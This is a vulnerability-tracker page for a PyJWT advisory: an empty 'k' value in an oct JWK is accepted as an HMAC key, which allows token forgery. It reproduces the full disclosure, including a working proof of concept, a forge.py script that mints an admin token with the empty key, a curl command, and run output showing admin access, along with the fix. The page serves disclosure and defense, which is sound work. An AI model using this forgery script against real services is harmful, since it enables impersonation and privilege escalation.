Read the docs
TI-2026-79309 Aliases GHSA-pxh4-856f-4h89

PyJWT accepts empty HMAC key from oct JWK, allowing token forgery

Priority LOW 38CWE-347Published · Updated

Key facts

Attack vector
—
Privileges required
—
User interaction
—
Attack complexity
—
Impact type
Security bypass
Confidentiality · integrity · availability
—
Fix status
Fixed

No CVSS vector from any source. Fix status from GitHub. Impact type from CWE-347.

Summary

PyJWT, the Python JSON Web Token library, versions from 0 before 2.14.0 accept an HMAC key from a symmetric oct JWK whose k value is an empty string and do not reject it. An unauthenticated attacker can compute an HMAC with the same empty key and forge tokens with arbitrary claims that the verifier accepts when it resolves the key through PyJWK, PyJWKSet or PyJWKClient. The flaw is an improper verification of a cryptographic signature (CWE-347). It affects applications whose signing secret is unset and published as an empty JWK entry, because the empty-key check added for string secrets in 2.13.0 does not cover the JWK path.

Written with Claude Haiku 5.5 from the sources below · 2026-10-28

Description from the GitHub advisory

### Summary `HMACAlgorithm.from_jwk` accepts a symmetric (`kty=oct`) JWK whose `k` value is the empty string and returns a zero-length key without raising. When a token is then verified with that key object (a `PyJWK`, or a `PyJWK` resolved by `PyJWKSet` / `PyJWKClient`), the HMAC verifier computes `HMAC(key=b"", signing_input)` and accepts any token an attacker forged with the same empty key. The attacker needs no secret knowledge: they reproduce the digest locally with an empty key and set the token's `kid` to the empty-`k` JWK. The empty-key rejection that `HMACAlgorithm.prepare_key` performs for string/bytes secrets (added in 2.13.0) was never propagated to the sibling `from_jwk` code path, so the JWK/JWKS verification route stays exploitable. Under default decode options this path only emits an `InsecureKeyLengthWarning`, not an error, so verification still succeeds. This is the same "empty/nil HMAC key is accepted by verify" defect the JWT ecosystem is currently closing library-side: fast-jwt CVE-2026-44351 (CVSS 9.1) and ruby-jwt CVE-2026-45363 both added a library-side reject-empty-HMAC-key precondition. ### Affected versions `PyJWT` (PyPI package `pyjwt`) `<= 2.13.0`, current `master` at commit `7144e4534c34810f4525dc4578a32addd8212cff`. The string/bytes secret path is already guarded in 2.13.0; the JWK/JWKS path is not. ### Privilege required Unauthenticated. Any party who can reach a JWT-verifying endpoint of an application that verifies via a `PyJWK` / `PyJWKSet` / `PyJWKClient` whose oct key has an empty `k` can forge tokens with arbitrary claims. Preconditions: the verifier resolves the HMAC key from a JWK/JWKS whose oct entry carries an empty `k`. This occurs when the signing secret is sourced from an unset environment variable / unset config row / key-finder fallback that base64url-encodes `b""` into the published JWKS, or when the application trusts a JWKS containing such an entry. The equivalent unset-secret case for the string-secret API (`jwt.decode(token, key="")`) is already rejected in 2.13.0; the JWK route is the remaining reachable surface for the same misconfiguration. ### Vulnerable code `jwt/algorithms.py`, `HMACAlgorithm.from_jwk` (line 380): ```python @staticmethod def from_jwk(jwk: str | JWKDict) -> bytes: try: if isinstance(jwk, str): obj: JWKDict = json.loads(jwk) elif isinstance(jwk, dict): obj = jwk else: raise ValueError except ValueError: raise InvalidKeyError("Key is not valid JSON") from None if obj.get("kty") != "oct": raise InvalidKeyError("Not an HMAC key") return base64url_decode(obj["k"]) # <-- empty k -> b"", no rejection ``` Contrast the sibling `prepare_key`, which DID get the guard (lines 325-329): ```python def prepare_key(self, key: str | bytes) -> bytes: key_bytes = force_bytes(key) if len(key_bytes) == 0: raise InvalidKeyError("HMAC key must not be empty.") ``` In `jwt/api_jws.py`, `_verify_signature` (lines 389-416) uses the `PyJWK` key material directly, bypassing `prepare_key`, and the length warning is non-fatal by default: ```python if isinstance(key, PyJWK): if alg != key.algorithm_name: raise InvalidAlgorithmError( f"Token algorithm {alg!r} does not match the key's " f"algorithm {key.algorithm_name!r}" ) alg_obj = key.Algorithm prepared_key = key.key # from_jwk output (b""), prepare_key not run else: try: alg_obj = self.get_algorithm_by_name(alg) except NotImplementedError as e: raise InvalidAlgorithmError("Algorithm not supported") from e prepared_key = alg_obj.prepare_key(key) key_length_msg = alg_obj.check_key_length(prepared_key) if key_length_msg: if effective_options.get("enforce_minimum_key_length", False): raise InvalidKeyError(key_length_msg) else: warnings.warn(key_length_msg, InsecureKeyLengthWarning, stacklevel=4) # default: warn only if not alg_obj.verify(signing_input, prepared_key, signature): # verify with b"" succeeds raise InvalidSignatureError("Signature verification failed") ``` `PyJWK.__init__` sets `self.key = self.Algorithm.from_jwk(self._jwk_data)`, so a `{"kty":"oct","k":""}` JWK yields `PyJWK.key == b""`. `PyJWKSet` and `PyJWKClient.get_signing_key_from_jwt` build `PyJWK` objects the same way, so the JWKS-over-HTTP resolution route is affected identically. The 2.13.0 release note (`CHANGELOG.rst`) documents the `prepare_key` JWK/PEM hardening (GHSA-xgmm-8j9v-c9wx) and the `PyJWK` alg-binding fix (GHSA-jq35-7prp-9v3f), and the test suite has `test_hmac_prepare_key_rejects_empty_key` plus `test_hmac_from_jwk_should_raise_exception_if_empty_json` (which tests an empty JSON object `{}`, not an oct key with empty `k`). The empty-`k` oct case is the untested sibling path this report closes. ### How the attacker input reaches the sink An unauthenticated HTTP client controls the bearer token entirely: its `kid` selects the empty-`k` oct JWK, and its signature is computed locally with the empty key. The token flows request header -> `PyJWKClient.get_signing_key_from_jwt` (kid resolution against the trusted JWKS) -> `jwt.decode` with the resolved `PyJWK` -> `_verify_signature` -> `HMACAlgorithm.verify(signing_input, b"", sig)`. No secret, credential, or prior session is required; the only server-side precondition is a JWKS oct entry with an empty `k`, which the "unset signing secret" configuration produces. This is the identical trust boundary the string-secret path already guards. ### Proof of concept ### End-to-end reproduction against pinned PyPI `pyjwt` 2.13.0 (two deployed Flask services) Two services model a standard OIDC-style deployment: an auth service publishing a JWKS, and a protected resource server validating bearer tokens against that JWKS with PyJWT's documented `PyJWKClient` pattern. The auth service's signing secret is sourced from an unset env var (`SIGNING_SECRET` unset -> `""`), so the published oct JWK carries `k == ""`. `idp.py` (auth service): ```python import os, base64 from flask import Flask, jsonify app = Flask(__name__) SIGNING_SECRET = os.environ.get("SIGNING_SECRET", "") # UNSET at runtime -> "" def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode() @app.route("/.well-known/jwks.json") def jwks(): return jsonify({"keys": [{ "kty": "oct", "use": "sig", "alg": "HS256", "kid": "auth-signing-2026", "k": b64u(SIGNING_SECRET.encode()), # empty secret -> k == "" }]}) if __name__ == "__main__": app.run(port=9101) ``` `api.py` (protected resource server): ```python from flask import Flask, request, jsonify import jwt from jwt import PyJWKClient app = Flask(__name__) jwks_client = PyJWKClient("http://127.0.0.1:9101/.well-known/jwks.json") def authenticate(): auth = request.headers.get("Authorization", "") if not auth.startswith("Bearer "): return None, "missing bearer token" token = auth.split(" ", 1)[1] try: signing_key = jwks_client.get_signing_key_from_jwt(token) # resolves by kid claims = jwt.decode(token, signing_key, algorithms=["HS256", "RS256"]) except Exception as e: return None, "invalid token: %s" % type(e).__name__ return claims, None @app.route("/api/admin/users") def admin_users(): claims, err = authenticate() if err: return jsonify({"error": err}), 401 if claims.get("role") != "admin": return jsonify({"error": "forbidden"}), 403 return jsonify({"ok": True, "action": "list_all_users", "as_user": claims.get("sub"), "role": claims.get("role")}) if __name__ == "__main__": app.run(port=9102) ``` `forge.py` (attacker; no secret knowledge): ```python import hmac, hashlib, base64, json, sys def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode() header={"alg":"HS256","typ":"JWT","kid":"auth-signing-2026"} payload={"sub":"[email protected]","role":"admin"} si=b64u(json.dumps(header,separators=(',',':')).encode())+"."+b64u(json.dumps(payload,separators=(',',':')).encode()) key = sys.argv[1].encode() if len(sys.argv)>1 else b"" # empty key sig=hmac.new(key, si.encode(), hashlib.sha256).digest() print(si+"."+b64u(sig)) ``` Run: ```bash python -m venv v && ./v/bin/pip install "PyJWT==2.13.0" flask ( SIGNING_SECRET= ./v/bin/python idp.py & ) ; ./v/bin/python api.py & FORGED=$(./v/bin/python forge.py "") curl -s -H "Authorization: Bearer $FORGED" http://127.0.0.1:9102/api/admin/users ``` Verbatim run (attack, both negative controls, sanity, and patched-build re-run): ``` ### PyJWT version 2.13.0 ### JWKS published by the auth service (note the empty "k"): {"keys":[{"alg":"HS256","k":"","kid":"auth-signing-2026","kty":"oct","use":"sig"}]} ### Baseline: unauthenticated request to admin endpoint HTTP 401 ### ATTACK: attacker forges HS256 admin token signed with the EMPTY key forged token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImF1dGgtc2lnbmluZy0yMDI2In0.eyJzdWIiOiJhdHRhY2tlckBldmlsLmV4YW1wbGUiLCJyb2xlIjoiYWRtaW4ifQ.iwgDP9D-oD0zXWMEUhx710f_NjHWKkrLVgjPAOtEUSQ response: {"action":"list_all_users","as_user":"[email protected]","ok":true,"role":"admin"} <-- HTTP 200 ### NEGATIVE CONTROL 1: forge with a WRONG non-empty key (IdP still empty) -> reject {"error":"invalid token: InvalidSignatureError"} <-- HTTP 401 ### NEGATIVE CONTROL 2: IdP restarted with a REAL non-empty secret; empty-key forgery must now fail JWKS now has non-empty k: {"keys":[{"alg":"HS256","k":"YS1yZWFsLTMyLWJ5dGUtc3Ryb25nLXNlY3JldC12YWx1ZS0xMjM0","kid":"auth-signing-2026","kty":"oct","use":"sig"}]} {"error":"invalid token: InvalidSignatureError"} <-- HTTP 401 ### Sanity: a legitimately-signed token with the real secret is accepted {"action":"list_all_users","as_user":"[email protected]","ok":true,"role":"admin"} <-- HTTP 200 ### PATCHED BUILD (from_jwk rejects empty k): re-run the empty-key forgery -> now rejected JWKS (empty k, vulnerable config): {"keys":[{"alg":"HS256","k":"","kid":"auth-signing-2026","kty":"oct","use":"sig"}]} {"error":"invalid token: PyJWKSetError"} <-- HTTP 401 ``` The attack returns HTTP 200 with `role:admin` from an unauthenticated forged token. Both negative controls (wrong non-empty key; real non-empty secret at the auth service) return 401, isolating the defect to empty-key acceptance. The patched build (the `from_jwk` fix below) rejects the forgery. ### Impact - Unauthenticated authentication bypass / token forgery: an attacker mints tokens with arbitrary claims (`role:admin`, arbitrary `sub`) that verify successfully, yielding full impersonation and privilege escalation on any endpoint gated by such tokens. - Reachable through the documented JWKS verification API (`PyJWKClient` / `PyJWKSet` / `PyJWK`), not just direct `HMACAlgorithm` use. - Triggered by the common "unset signing secret" misconfiguration that the string-secret path already rejects in 2.13.0, leaving the JWK path as an asymmetric gap. ### Suggested fix Reject a zero-length key in `HMACAlgorithm.from_jwk`, mirroring the guard that `prepare_key` already applies: ```python if obj.get("kty") != "oct": raise InvalidKeyError("Not an HMAC key") key_bytes = base64url_decode(obj["k"]) if len(key_bytes) == 0: raise InvalidKeyError("HMAC key must not be empty.") return key_bytes ``` This reuses the exact error message and length check the string/bytes path uses, so both HMAC key-loading routes enforce the same invariant. A regression test for the empty-`k` oct JWK belongs next to `test_hmac_from_jwk_should_raise_exception_if_empty_json`. ### Fix PR https://github.com/jpadilla/pyjwt-ghsa-pxh4-856f-4h89/pull/1 (private advisory temp fork, base `master`, branch `fix/hmac-from-jwk-reject-empty-key`, DCO-signed; adds `test_hmac_from_jwk_rejects_empty_k`; `test_algorithms.py`, `test_api_jwk.py`, `test_api_jws.py` pass). ### Credit Reported by tonghuaroot. > Maintainer update (2026-09-10): We reproduced the reported behavior: an `oct` JWK with an empty `k` value was decoded to an empty HMAC key and accepted through the JWK/PyJWK verification path, while the raw string/bytes path correctly rejected an empty key. The fix adds the same empty-key validation at the JWK boundary and includes a regression test. It is committed as `af8181ca0bec5e6b372fbba9afbe23702b787ceb` and has passed the available project tox environments, including crypto and non-crypto tests on Python 3.9, 3.12, and 3.13, plus mypy, package metadata, and coverage checks. Fresh Astra/max review accepted the fix and confirmed that nonempty, binary, and asymmetric-key behavior remains unchanged. The fix has not yet shipped in a released PyJWT version, so this advisory is being moved to draft and remains unpublished pending release. ## Maintainer update — 2026-09-11 The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Why it matters now

Fix Fixed pyjwt (PyPI): 2.14.0

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—pyjwt (PyPI)before 2.14.02.14.0Patch availableGHSA-pxh4-856f-4h89
  • pyjwt (PyPI) Vendor— Affected before 2.14.0 Fixed in 2.14.0 Patch available GHSA-pxh4-856f-4h89

Remediation

Upgrade pyjwt to version 2.14.0. The sources list no fixed version for other PyJWT releases.

Written with Claude Haiku 5.5 from the sources below · 2026-10-28

  • Fix · GHSA-pxh4-856f-4h89 pyjwt (PyPI) Fixed in 2.14.0 Advisory →

Timeline

  1. 2026-10-22 Threatist record created from GHSA-pxh4-856f-4h89

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences